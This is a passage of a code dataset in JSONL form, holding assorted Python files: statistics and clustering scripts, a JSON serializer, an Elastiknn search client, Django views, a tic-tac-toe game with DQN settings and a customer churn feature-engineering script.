nextYear)\n print(self.w[0]*nextYear + self.w[1])\n\n def plot(self, title):\n plt.figure(1)\n plt.title('The Method of least Squares ' + title)\n plt.plot(self.year_With2014, self.Data,'o', label = 'Original data', markersize = 5)\n plt.plot(self.year_With2014, self.line,'r', label = 'Fitted line')\n plt.legend(loc = 2)\n plt.ylabel('Gistinætur')\n plt.xlabel('Ár')\n plt.show()\n\n # Correlation\n def Corre_Data(self):\n Corr = np.corrcoef(self.year_With2014,self.Data) # How good does the data fit the line\n return Corr[0][1]\n\n\n # Basic Statistics\n def Statistics(self):\n Mean = np.mean(self.Data)\n Std = np.std(self.Data)\n Var = np.var(self.Data)\n return Mean, Std, Var\n","sub_path":"Verkefni1/Tolfreadi.py","file_name":"Tolfreadi.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"30766208","text":"import dataclasses\nfrom typing import Any, Callable, Dict, Type, _TypedDictMeta # type: ignore\n\nimport orjson\n\nfrom .dataclasses import asdict\nfrom .fields import SerializeFields\n\n\ndef dataclass_asjson(instance: Any) -> bytes:\n return orjson.dumps(\n instance, default=OrjsonDefaultTypes.default_function(instance)\n )\n\n\ndef typed_dict_asjson(\n typed_dict: Dict[str, Any], typed_dict_type: _TypedDictMeta\n) -> bytes:\n return orjson.dumps(_choose_typed_dict_fields(typed_dict, typed_dict_type))\n\n\ndef _choose_typed_dict_fields(\n typed_dict: Dict[str, Any], typed_dict_type: _TypedDictMeta\n) -> Dict[str, Any]:\n fields = SerializeFields.get_fields(typed_dict_type)\n\n if not fields:\n return typed_dict\n\n return {\n f.name: (\n _choose_typed_dict_fields(typed_dict[f.name], f.type)\n if isinstance(typed_dict[f.name], dict)\n else typed_dict[f.name]\n )\n for f in fields\n }\n\n\nclass OrjsonDefaultTypes:\n types_default_map: Dict[Type[Any], Callable[[Any], Any]] = dict()\n\n @classmethod\n def set_type(cls, type_: Type[Any]) -> None:\n if type_ in cls.types_default_map:\n return\n\n cls.types_default_map[type_] = cls._asdict_for_orjson\n\n for field in dataclasses.fields(type_):\n if dataclasses.is_dataclass(field.type):\n cls.types_default_map[field.type] = cls._asdict_for_orjson\n\n @classmethod\n def default_function(cls, instance: Any) -> Any:\n def wrap(v: Any) -> Any:\n if isinstance(v, bytes):\n return v.decode()\n\n return cls.types_default_map[type(v)](v)\n\n return wrap\n\n @staticmethod\n def _asdict_for_orjson(instance: Any) -> Dict[str, Any]:\n dictinst: Dict[str, Any] = asdict(instance)\n fields = SerializeFields.get_fields(type(instance))\n\n if not fields:\n return dictinst\n\n return {f.name: dictinst[f.name] for f in fields}\n","sub_path":"jsondaora/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491087062","text":"\"\"\"Client for using Elastiknn.\"\"\"\n\nfrom typing import Iterable, Tuple, Dict\n\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import bulk\n\nfrom .api import *\n\n\nclass ElastiKnnClient(object):\n\n def __init__(self, es: Elasticsearch = None):\n \"\"\"Wrapper on the official `elasticsearch.Elasticsearch` client for making Elastiknn requests.\n\n The client is fairly primitive in that it assumes the vector is basically the only thing stored in each doc.\n For more complex use-cases you should use this client as an example for constructing the mapping, indexing,\n and search requests in your own code.\n\n Parameters\n ----------\n es : `elasticsearch.Elasticsearch` client.\n This client is used internally to make all requests.\n Defaults to a client pointing at http://localhost:9200.\n \"\"\"\n if es is None:\n self.es = Elasticsearch([\"http://localhost:9200\"])\n else:\n self.es = es\n\n def put_mapping(self, index: str, field: str, mapping: Mapping.Base):\n \"\"\"\n Update the mapping at the given index and field to store an Elastiknn vector.\n\n Parameters\n ----------\n index : string\n Index containing the given field. Should already exist.\n field : string\n Field that should use the given mapping.\n mapping : instance of `Mapping.Base`\n Mapping object defining the vector's storage properties.\n\n Returns\n -------\n Dict\n Json response as a dict. Successful request returns `{\"acknowledged\": true}`.\n \"\"\"\n body = {\n \"properties\": {\n field: mapping.to_dict()\n }\n }\n return self.es.transport.perform_request(\"PUT\", f\"/{index}/_mapping\", body=body)\n\n def index(self, index: str, field: str, vecs: Iterable[Vec.Base], ids: List[str] = None, refresh: bool = False) -> Tuple[int, List[Dict]]:\n \"\"\"Index (i.e. store) the given vectors at the given index and field with the optional ids.\n\n Parameters\n ----------\n index : string\n Index where the vectors are stored.\n field : string\n Field containing the vector in each document.\n vecs : List of `Vec.Base`\n Vectors that should be indexed.\n ids : List of strings\n Optional list of ids associated with the given vectors.\n If not given, the ids are generated by Elasticsearch.\n refresh : bool\n Whether to refresh before returning. Set to true if you want to immediately run queries after indexing.\n\n Returns\n -------\n Int\n Number of vectors successfully indexed.\n List of Dicts\n Error responses for the vectors that were not indexed.\n \"\"\"\n if ids is None or ids == []:\n ids = [None for _ in vecs]\n\n def gen():\n for vec, _id in zip(vecs, ids):\n d = { \"_op_type\": \"index\", \"_index\": index, field: vec.to_dict()}\n if _id:\n d[\"_id\"] = str(_id)\n elif \"_id\" in d:\n del d[\"_id\"]\n yield d\n\n res = bulk(self.es, gen())\n if refresh:\n self.es.indices.refresh(index=index)\n return res\n\n def nearest_neighbors(self, index: str, query: NearestNeighborsQuery.Base, k: int = 10, fetch_source: bool = False) -> Dict:\n \"\"\"Build and execute a nearest neighbors query against the given index.\n\n Parameters\n ----------\n index : string\n Index to run the search against.\n query : NearestNeighborsQuery.Base\n Query object defining the query properties.\n k: int\n Number of hits to return.\n fetch_source : bool\n Whether to return the `_source` of the document. It's generally faster to _not_ return the `_source`.\n\n Returns\n -------\n Dict\n Standard Elasticsearch search response parsed as a dict.\n \"\"\"\n body = {\n \"query\": {\n \"elastiknn_nearest_neighbors\": query.to_dict()\n }\n }\n return self.es.search(index, body=body, size=k, _source=fetch_source)\n","sub_path":"client-python/elastiknn/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437882123","text":"import views\nfrom henango.urls.pattern import URLPattern\n\n# pathとview関数の対応\nurl_patterns = [\n URLPattern(\"/now\", views.now),\n URLPattern(\"/show_request\", views.show_request),\n URLPattern(\"/parameters\", views.parameters),\n URLPattern(\"/user//profile\", views.user_profile),\n URLPattern(\"/set_cookie\", views.set_cookie)\n]\n","sub_path":"codes/chapter20/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"110814593","text":"#!/usr/bin/python\n\nimport sys, os, string, re\nimport scipy.stats\n\ndef read_lincRNA():\n\t\"\"\" \"\"\"\n\tlincRNADict = {}\n\tlincRNA = open(sys.argv[1], \"r\")\n\tfor line in lincRNA:\n\t\tline=line.strip().split(\"\\t\")\n\t\tlincRNADict[line[0]]=map(float,line[1:])\n\tlincRNA.close()\n\treturn lincRNADict\n\ndef read_mRNA():\n\tmRNADict = {}\n\tmRNA = open(sys.argv[2], \"r\")\n\tfor line in mRNA:\n\t\tline=line.strip().split(\"\\t\")\n\t\tmRNADict[line[0]]=map(float,line[1:])\n\tmRNA.close()\n\treturn mRNADict\n\ndef pearson(x=None,y=None):\n\t\"\"\" \"\"\"\n\tif isinstance(x,list) and isinstance(y,list):\n\t\tif len(x)==len(y):\n\t\t\tcoeff,pvalue=scipy.stats.pearsonr(x,y)\n\t\t\treturn coeff\n\t\telse:\n\t\t\tprint >>sys.stderr,\"The length between\", x ,\"and\", y,\" is not equal.\"\n\telse:\n\t\tprint >> sys.stderr,\"The type of\", x,\" and\", y,\" must be list!\"\n\ndef main():\n\tlincRNADict = read_lincRNA()\n\tmRNADict = read_mRNA()\n\tfor i, j in lincRNADict.items():\n\t\tf = open(i + \"_Genes.pearson.rnk\", \"w\")\n\t\tfor x, y in mRNADict.items():\n\t\t\tcoeff = pearson(j, y)\n\t\t\tprint >> f, \"{0}\\t{1}\".format(x, coeff)\n\t\tf.close()\n\nif __name__ == \"__main__\":\n\tmain()","sub_path":"GSEA/lncRNA.gsea.py","file_name":"lncRNA.gsea.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"417003064","text":"import warnings\nimport pandas as pd\nfrom urllib.request import urlopen\nimport os\nfrom lxml import etree\n\n\ndef _join_update(df, other):\n for column in other.columns:\n if column in df:\n df[column].update(other[column])\n else:\n df[column] = other[column]\n\n\nclass OpenAustraliaMembers:\n \"\"\"Get DataFrames with data about Australian parliamentarians\n\n Key methods are `people` and `offices`.\n \"\"\"\n\n def __init__(self, path='http://data.openaustralia.org/members',\n cached=False):\n self._path = path\n self._cached = cached\n self._cache = {}\n\n def _open(self, filename):\n if ':/' in self._path:\n return urlopen(self._path + '/' + filename)\n return open(os.path.join(self._path, filename), 'rb')\n\n def _parse(self, filename):\n if filename in self._cache:\n return self._cache[filename]\n\n with self._open(filename) as f:\n out = etree.XML(f.read())\n\n if self._cached:\n self._cache[filename] = out\n return out\n\n def people(self, enhanced=True):\n \"\"\"Get basic person details\n\n One record per person\n \"\"\"\n root = self._parse('people.xml')\n df = pd.DataFrame([dict(person.attrib)\n for person in root.findall('.//person')])\n df = df.rename(columns={'id': 'person_id'})\n df = df.set_index('person_id')\n if enhanced:\n for filename in ['wikipedia-lords',\n 'wikipedia-commons',\n 'links-register-of-interests',\n 'links-abc-qanda',\n 'websites']:\n other = self._parse_personinfo(filename + '.xml')\n _join_update(df, other)\n df['aph_id'] = df.aph_url.map(lambda s: s.rpartition('=')[-1],\n na_action='ignore')\n return df\n\n def _parse_personinfo(self, filename):\n root = self._parse(filename)\n df = pd.DataFrame([dict(personinfo.attrib)\n for personinfo in root.findall('.//personinfo')])\n gb = df.groupby('id')\n if pd.np.any(gb.count() > 1):\n warnings.warn('Found more than one personinfo per person in ' +\n filename)\n return gb.last() # in case there are duplicates\n\n def offices(self, enhanced=True):\n \"\"\"Get details on parliamentary positions\n\n A record for each time someone held a position in the house of\n represenatives, senate, cabinet, etc. Data from `people`, as well as\n fields specific to these roles, is merged in redundantly when enhanced.\n\n The latestname field is the most reliable for name.\n\n The source column is one of {'representatives', 'senators',\n 'ministers'}.\n \"\"\"\n root = self._parse('people.xml')\n offices = []\n for person in root.findall('.//person'):\n person_id = person.attrib['id']\n for office in person.findall('./office'):\n offices.append(dict(office.attrib))\n offices[-1]['person_id'] = person_id\n df = pd.DataFrame(offices).rename(columns={'id': 'office_id'})\n df = df.set_index('office_id')\n if enhanced:\n for attr in ['senators', 'representatives', 'ministers']:\n other = getattr(self, attr)()\n _join_update(df, other)\n df = df.merge(self.people(), left_on='person_id', right_index=True)\n return df\n\n def senators(self):\n return self._parse_office_details('senators')\n\n def representatives(self):\n return self._parse_office_details('representatives')\n\n def ministers(self):\n return self._parse_office_details('ministers', tagname='moffice')\n\n def _parse_office_details(self, filename, tagname='member'):\n root = self._parse(filename + '.xml')\n df = pd.DataFrame([dict(person.attrib)\n for person in root.findall('.//' + tagname)])\n df['source'] = filename\n df['fromdate'] = self._clean_date(df['fromdate'])\n df['todate'] = self._clean_date(df['todate'])\n return df.rename(columns={'id': 'office_id'}).set_index('office_id')\n\n def _clean_date(self, series):\n series = series.copy()\n series[series == '1000-01-01'] = None\n series[series == '9999-12-31'] = None\n return pd.to_datetime(series)\n\n\nif __name__ == '__main__':\n obj = OpenAustraliaMembers(cached=True)\n for attr in dir(obj):\n if attr[:1].isalpha():\n method = getattr(obj, attr)\n if callable(method):\n print('===', attr, '===')\n print(method().head())\n print()\n","sub_path":"openaustraliamembers.py","file_name":"openaustraliamembers.py","file_ext":"py","file_size_in_byte":4831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"329626760","text":"# Author: Sachin Kumar\n# Github: https://github.com/skumar24\n\n# Fair Rations\n# Problem Url: https://www.hackerrank.com/challenges/fair-rations/problem\n# Score: 25\n\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\ndef fairRations(B):\n if sum(B) % 2 > 0:\n return \"NO\"\n else:\n cnt = 0\n for i, x in enumerate(B):\n if x % 2 == 1:\n B[i] += 1\n B[i + 1] += 1\n cnt += 2\n return cnt\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n N = int(input())\n\n B = list(map(int, input().rstrip().split()))\n\n result = fairRations(B)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","sub_path":"Algorithms/02 Implementation/FairRations.py","file_name":"FairRations.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"270900814","text":"# Import libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#Set working directory & import data\ndataset = pd.read_csv(\"Mall_Customers.csv\")\nX=dataset.iloc[:,[3,4]].values\n#column 3 & 4 are annual income and spending score\n\n#Plot & Use the Dendrogram to find the optimal number of clusters\nimport scipy.cluster.hierarchy as sch\ndendrogram = sch.dendrogram(sch.linkage(X, method = 'ward'))\n#dendrogram plots the hierarchical clustering as a dendrogram.\n#method = 'ward' ward method minimize the variance within each cluster\n\nplt.title('Dendrogram')\nplt.xlabel('Customers')\nplt.ylabel('Euclidean Distance')\nplt.show()\n\n#Fitting Hierarchical Clustering to the mall dataset\nfrom sklearn.cluster import AgglomerativeClustering\nhc = AgglomerativeClustering(n_clusters = 5, affinity = 'euclidean', linkage = 'ward')\ny_hc = hc.fit_predict(X)\n\n#n_clusters is optimal no. of clusters to be formed\n#affinity is Metric used to compute the linkage. If linkage is “ward”, only “euclidean” is accepted.\n#linkage = 'ward' ward ward minimizes the variance of the clusters being merged.\n#The linkage criterion determines which distance to use between sets of observation to merge the pairs of cluster.\n\n#Visualising the 5 clusters (only for 2-dimensional features)\nplt.scatter(X[y_hc == 0,0], X[y_hc == 0,1], s = 100, c = 'red', label = 'Cluster 1 (Careful)')\nplt.scatter(X[y_hc == 1,0], X[y_hc == 1,1], s = 100, c = 'blue', label = 'Cluster 2 (Standard)')\nplt.scatter(X[y_hc == 2,0], X[y_hc == 2,1], s = 100, c = 'green', label = 'Cluster 3 (Target)')\nplt.scatter(X[y_hc == 3,0], X[y_hc == 3,1], s = 100, c = 'cyan', label = 'Cluster 4 (Careless)')\nplt.scatter(X[y_hc == 4,0], X[y_hc == 4,1], s = 100, c = 'magenta', label = 'Cluster 5 (Sensible)')\nplt.title('Clusters of customers')\nplt.xlabel('Annual Income (k$)')\nplt.ylabel('Spending Score (1-100)')\nplt.legend()\nplt.show()\n\n\n\n","sub_path":"ML/Machine-Learning-master/Clustering/Hierarchical Clustering/hierarchical_clustering_saurabh.py","file_name":"hierarchical_clustering_saurabh.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"488380734","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.template.defaultfilters import slugify\nfrom django.template import RequestContext\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\nfrom inoutboard.models import *\nfrom django.utils import simplejson\nfrom django.contrib.admin.views.decorators import staff_member_required\n\n\ndef index(request):\n\t\n\tpeople = Person.objects.all()\n\n\tstatuses = []\n\tfor p in people:\n\n\t\tstatus_filter = Status.objects.filter(person=p).order_by('-timestamp')\n\t\t\n\t\tif status_filter.count():\n\t\t\ts = status_filter[0]\n\t\t\tstatuses.append({\n\t\t\t\t'id':p.id,\n\t\t\t\t'name': p.name,\n\t\t\t\t'email': p.email,\n\t\t\t\t'status': s.status,\n\t\t\t\t'location': s.location_name,\n\t\t\t\t'lat': s.location_lat,\n\t\t\t\t'lon': s.location_lon,\n\t\t\t\t'timestamp': s.timestamp\t\t\t\n\t\t\t\n\t\t\t})\n\t\n\t# sort statuses by timestamp - newest first\n\tstatuses.sort(key=lambda x: x['timestamp'], reverse=True)\n\t\n\treturn render_to_response('inoutboard/index.html', {\n\t\t'statuses': statuses,\n 'GMAPKEY':settings.GOOGLE_MAPS_API_KEY\n },context_instance=RequestContext(request))\t\nindex = staff_member_required(index) \n\ndef get_placemarks(request):\n\t\n\tid = request.GET['id']\n\tp = Person.objects.get(id=id)\n\tcurrent_status = {}\n\tfuture_status = {}\n\tpast_statuses = []\n\t\n\tstatuses = Status.objects.filter(person=p).order_by('-timestamp')[0:settings.PAST_LOCATION_COUNT+1]\n\ti = 0 #counter\n\t#the first one is the newest one, set that as current rest as past\n\tfor stat in statuses:\n\t\tif i == 0:\n\t\t\t#current status\n\t\t\tcurrent_status = {\n\t\t\t\t'id':p.id,\n\t\t\t\t'name':p.name,\n\t\t\t\t'email':p.email,\n\t\t\t\t'status':stat.status,\n\t\t\t\t'location':stat.location_name,\n\t\t\t\t'lat':stat.location_lat,\n\t\t\t\t'lon':stat.location_lon}\n\t\t\t\n\t\t\tif not stat.next_name == '':\n\t\t\t\tfuture_status = {\t\n\t\t\t\t\t'id':p.id,\n\t\t\t\t\t'name':p.name,\n\t\t\t\t\t'email':p.email,\n\t\t\t\t\t'status':'Next Destination for ' + p.name,\n\t\t\t\t\t'location':stat.next_name,\n\t\t\t\t\t'lat':stat.next_lat,\n\t\t\t\t\t'lon':stat.next_lon}\n\t\t\t\t\n\t\telse:\n\t\t\t#previous statuses\n\t\t\tpast_statuses.append({\n\t\t\t\t'id':p.id,\n\t\t\t\t'name':p.name,\n\t\t\t\t'email':p.email,\n\t\t\t\t'status':stat.status,\n\t\t\t\t'location':stat.location_name,\n\t\t\t\t'lat':stat.location_lat,\n\t\t\t\t'lon':stat.location_lon})\n\t\ti = i + 1\n\tretval = {'current':current_status,\n\t\t\t\t\t\t 'past':past_statuses,\n\t\t\t\t\t\t 'future':future_status\n\t\t\t\t\t\t }\n\treturn HttpResponse(simplejson.dumps(retval))\n\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t","sub_path":"inoutboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"281002604","text":"import numpy as np\nfrom Players.DQPlayer import DQNArgs\nfrom Utility.Consts import Consts\n\nBOARD_DIM = 3\nN_CH = 2\nP1S = 'x'\nP2S = 'o'\n\nclass TicTacToeState:\n def __init__(self):\n self.name = \"Tic Tac Toe\"\n self.board = np.zeros((BOARD_DIM, BOARD_DIM))\n self.lastAction = []\n self.curPlayer = Consts.P1\n\n def get_state(self):\n return self.board\n\n def get_board(self):\n otherPlayer = Consts.P2 if self.curPlayer == Consts.P1 else Consts.P1\n p1_board = 1 * (self.board == self.curPlayer)\n p2_board = 1 * (self.board == otherPlayer)\n return np.stack((p1_board, p2_board), axis=0)\n\n def get_state_hash(self):\n return str(self.board.reshape(-1))\n\n def show_state(self):\n s = ''.join(['-'] + ['-' for _ in range(4*BOARD_DIM)])\n print(s)\n for row in range(BOARD_DIM):\n rowStr = '| '\n for col in range(BOARD_DIM):\n if self.board[row, col] == Consts.P1:\n rowStr = rowStr + P1S + ' | '\n elif self.board[row, col] == Consts.P2:\n rowStr = rowStr + P2S + ' | '\n else:\n rowStr = rowStr + ' | '\n rowStr = rowStr[:-1] # remove last space\n print(rowStr)\n print(s)\n\n def get_all_actions(self):\n actions = []\n for row in range(BOARD_DIM):\n for col in range(BOARD_DIM):\n actions.append((row, col))\n return actions\n\n def get_actions(self):\n all_actions = self.get_all_actions()\n actions = [action for action in all_actions if self.check_legal(action)]\n return actions\n\n def get_illegal_actions(self):\n all_actions = self.get_all_actions()\n illegal_inds = [not self.check_legal(action) for action in all_actions]\n return illegal_inds\n\n def check_legal(self, action):\n if action[0] < 0 or action[0] >= BOARD_DIM or action[1] < 0 or action[1] >= BOARD_DIM:\n return False\n return self.board[action] == 0\n\n def get_action_command(self):\n return 'Enter desired cell as [row col]:\\n'\n\n def play(self, action):\n action = tuple([int(action[0]), int(action[1])])\n if not self.check_legal(action): # illegal action\n return False, False\n self.board[action] = self.curPlayer\n self.curPlayer = Consts.P2 if self.curPlayer == Consts.P1 else Consts.P1\n self.lastAction.append(action)\n isEnd, _ = self.check_win()\n return True, isEnd\n\n def check_win(self):\n # We need to check only row/col/diags containing last move\n if not self.lastAction:\n return False, 0\n action = self.lastAction[-1]\n row, col = action\n colSum = np.sum(self.board[row, :])\n rowSum = np.sum(self.board[:, col])\n allSums = [colSum, rowSum]\n if row == col: # check diagonal\n diagSum1 = np.trace(self.board)\n allSums = allSums + [diagSum1]\n if row + col == BOARD_DIM - 1: # check anti-diagonal\n diagSum2 = np.trace(np.fliplr(self.board))\n allSums = allSums + [diagSum2]\n if BOARD_DIM*Consts.P1 in allSums: # player 1 wins\n return True, Consts.P1\n elif BOARD_DIM*Consts.P2 in allSums: # player 2 wins\n return True, Consts.P2\n elif np.all((self.board != 0)): # no more moves - tie\n return True, Consts.TIE\n else: # continue playing\n return False, 0\n\n def get_rewards(self):\n isEnd, winner = self.check_win()\n if isEnd:\n if winner == Consts.P1:\n return 1, -1\n if winner == Consts.P2:\n return -1, 1\n if winner == Consts.TIE:\n return 0.2, 0.5 # player 1 started so has an advantage - punish him more for a tie\n return 0, 0\n\n def get_heuristic(self, player):\n score = 0\n for i in range(BOARD_DIM):\n score += line_heuristic(self.board[i, :], player) # row\n score += line_heuristic(self.board[:, i], player) # col\n score += line_heuristic(np.diag(self.board), player) # main diagonal\n score += line_heuristic(np.diag(np.fliplr(self.board)), player) # anti-diagonal\n return score\n\n def undo(self):\n if self.lastAction:\n self.board[self.lastAction[-1]] = 0\n self.lastAction = self.lastAction[:-1]\n self.curPlayer = Consts.P2 if self.curPlayer == Consts.P1 else Consts.P1\n\n def reset(self):\n self.board = np.zeros((BOARD_DIM, BOARD_DIM))\n self.lastAction = []\n self.curPlayer = Consts.P1\n\n\ntictactoe_dqn_args = DQNArgs(ch=N_CH, # NN input channels - don't change this!\n h=BOARD_DIM, # NN input height - don't change this!\n w=BOARD_DIM, # NN input width - don't change this!\n output_size=BOARD_DIM**2, # NN output size (number of actions) - don't change this!\n layer_channels=[64, 32], # number of channels for each layer\n layer_sizes=[3, 1], # kernel sizes for each layer\n layer_strides=[1, 1], # stride for each layer\n layer_padding=[0, 0], # padding for each layer\n batch_size=32, # batch size for optimization step\n mem_size=100000, # replay memory size\n target_update=5000, # training step period for target network update\n eps_decay=2e4, # exploration rate decay\n lr=0.001, # learning rate\n gamma=0.99) # MDP discount factor\n\n\ndef line_heuristic(l, player):\n score_factor = 10\n score = 0\n for i in range(len(l)):\n if l[i] == player: # players piece\n if score == 0: # seen nothing up to here\n score = 1\n elif score > 0: # seen up to here only players pieces\n score *= score_factor\n else: # seen opponents pieces -> line has no value\n return 0\n elif l[i] == 0: # empty\n continue\n else: # opponents piece\n if score == 0: # seen nothing up to here\n score = -1\n elif score < 0: # seen up to here only opponents pieces\n score *= score_factor\n else: # seen players pieces -> line has no value\n return 0\n return score\n\n# =================================================================================================================== #\n\nif __name__ == '__main__':\n print(\"Tic Tac Toe\")\n","sub_path":"TicTacToe/TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":6913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"144698894","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport datetime\r\nfrom datetime import timedelta\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom scipy.stats import zscore\r\n\r\n\r\n\r\ncustomers = pd.read_csv('cleaned_customers.csv')\r\nprices = pd.read_csv('cleaned_prices.csv')\r\nchurn = pd.read_csv('ml_case_training_output.csv')\r\n\r\n\r\nprint(prices.price_date.max())\r\nprint(prices.price_date.min())\r\n\r\n\r\n\r\ncustomers['date_activ'] = pd.to_datetime(customers['date_activ'], format = '%Y-%m-%d')\r\ncustomers['date_end'] = pd.to_datetime(customers['date_end'], format = '%Y-%m-%d')\r\ncustomers['date_modif_prod'] = pd.to_datetime(customers['date_modif_prod'], format = '%Y-%m-%d')\r\ncustomers['date_renewal'] = pd.to_datetime(customers['date_renewal'], format = '%Y-%m-%d')\r\n\r\n\r\ndf = pd.merge(customers, churn, on='id')\r\n\r\n\r\ndf['tenure'] = ((df[\"date_end\"]-df[\"date_activ\"])/ np.timedelta64(1, \"Y\")).astype(int)\r\n\r\n\r\n\r\n\r\n#### a way of transforming dates to months duration\r\n\r\ndef convert_months(reference_date, dataframe, column):\r\n time_delta = reference_date - dataframe[column]\r\n months = (time_delta / np.timedelta64(1, 'M')).astype(int)\r\n \r\n \r\n return months\r\n\r\n\r\n\r\nREFERENCE_DATE = datetime.datetime(2016, 1, 1)\r\n\r\ndf['months_since_activ'] = convert_months(REFERENCE_DATE, df, 'date_activ')\r\ndf['months_to_end'] = -convert_months(REFERENCE_DATE, df, 'date_end')\r\ndf['months_since_modif'] = convert_months(REFERENCE_DATE, df, 'date_modif_prod')\r\ndf['months_since_renew'] = convert_months(REFERENCE_DATE, df, 'date_renewal')\r\n\r\n\r\n\r\n\r\n### drop unnecessary columns\r\n\r\ncolumns_to_drop = ['date_activ', 'date_modif_prod', 'date_renewal', 'date_end']\r\n \r\ndf = df.drop(columns = columns_to_drop) \r\n \r\n\r\n\r\n\r\n### log-transform for skewed variables\r\n\r\n\r\ndf.loc[df.cons_12m < 0,\"cons_12m\"] = np.nan\r\ndf.loc[df.cons_gas_12m < 0,\"cons_gas_12m\"] = np.nan\r\ndf.loc[df.cons_last_month < 0,\"cons_last_month\"] = np.nan\r\ndf.loc[df.forecast_cons_12m < 0,\"forecast_cons_12m\"] = np.nan\r\ndf.loc[df.forecast_cons_year < 0,\"forecast_cons_year\"] = np.nan\r\ndf.loc[df.forecast_meter_rent_12m < 0,\"forecast_meter_rent_12m\"] = np.nan\r\ndf.loc[df.imp_cons < 0,\"imp_cons\"] = np.nan\r\n\r\n\r\ndf[\"cons_12m\"] = np.log10(df[\"cons_12m\"]+1)\r\ndf[\"cons_gas_12m\"] = np.log10(df[\"cons_gas_12m\"]+1)\r\ndf[\"cons_last_month\"] = np.log10(df[\"cons_last_month\"]+1)\r\ndf[\"forecast_cons_12m\"] = np.log10(df[\"forecast_cons_12m\"]+1)\r\ndf[\"forecast_cons_year\"] = np.log10(df[\"forecast_cons_year\"]+1)\r\ndf[\"forecast_meter_rent_12m\"] = np.log10(df[\"forecast_meter_rent_12m\"]+1)\r\ndf[\"imp_cons\"] = np.log10(df[\"imp_cons\"]+1)\r\n\r\n\r\n\r\n\r\n\r\n### replace outliers with Z-score\r\n\r\ndef replace_outliers_z_score(dataframe, column, Z=3):\r\n \r\n df = dataframe.copy(deep=True)\r\n df.dropna(inplace=True, subset=[column])\r\n \r\n df[\"zscore\"] = zscore(df[column])\r\n mean_ = df[(df[\"zscore\"] > -Z) & (df[\"zscore\"] < Z)][column].mean()\r\n \r\n no_outliers = dataframe[column].isnull().sum()\r\n dataframe[column] = dataframe[column].fillna(mean_)\r\n dataframe[\"zscore\"] = zscore(dataframe[column])\r\n dataframe.loc[(dataframe[\"zscore\"] < -Z) | (dataframe[\"zscore\"] > Z),column] = mean_\r\n \r\n \r\n print(\"Replaced:\", no_outliers, \" outliers in \", column)\r\n return dataframe.drop(columns=\"zscore\")\r\n\r\n\r\n\r\n\r\ndf = replace_outliers_z_score(df,\"cons_12m\")\r\ndf = replace_outliers_z_score(df,\"cons_gas_12m\")\r\ndf = replace_outliers_z_score(df,\"cons_last_month\")\r\ndf = replace_outliers_z_score(df,\"forecast_cons_12m\")\r\ndf = replace_outliers_z_score(df,\"forecast_cons_year\")\r\ndf = replace_outliers_z_score(df,\"forecast_discount_energy\")\r\ndf = replace_outliers_z_score(df,\"forecast_meter_rent_12m\")\r\ndf = replace_outliers_z_score(df,\"forecast_price_energy_p1\")\r\ndf = replace_outliers_z_score(df,\"forecast_price_energy_p2\")\r\ndf = replace_outliers_z_score(df,\"forecast_price_pow_p1\")\r\ndf = replace_outliers_z_score(df,\"imp_cons\")\r\ndf = replace_outliers_z_score(df,\"margin_gross_pow_ele\")\r\ndf = replace_outliers_z_score(df,\"margin_net_pow_ele\")\r\ndf = replace_outliers_z_score(df,\"net_margin\")\r\ndf = replace_outliers_z_score(df,\"pow_max\")\r\ndf = replace_outliers_z_score(df,\"months_since_activ\")\r\ndf = replace_outliers_z_score(df,\"months_to_end\")\r\ndf = replace_outliers_z_score(df,\"months_since_modif\")\r\ndf = replace_outliers_z_score(df,\"months_since_renew\")\r\n\r\n\r\ndf.reset_index(drop=True, inplace=True)\r\n\r\n \r\n\r\n\r\n##### averaging prices\r\n\r\n\r\n\r\ndf['avg_price_p1_var'] = 0\r\ndf['avg_price_p2_var'] = 0\r\ndf['avg_price_p3_var'] = 0\r\ndf['avg_price_p1_fix'] = 0\r\ndf['avg_price_p2_fix'] = 0\r\ndf['avg_price_p3_fix'] = 0\r\n\r\n\r\nfor ID in pd.unique(df.id):\r\n \r\n df.loc[df.id== ID,'avg_price_p1_var'] = prices[prices.id == ID]['price_p1_var'].mean()\r\n df.loc[df.id== ID,'avg_price_p2_var'] = prices[prices.id == ID]['price_p2_var'].mean()\r\n df.loc[df.id== ID,'avg_price_p3_var'] = 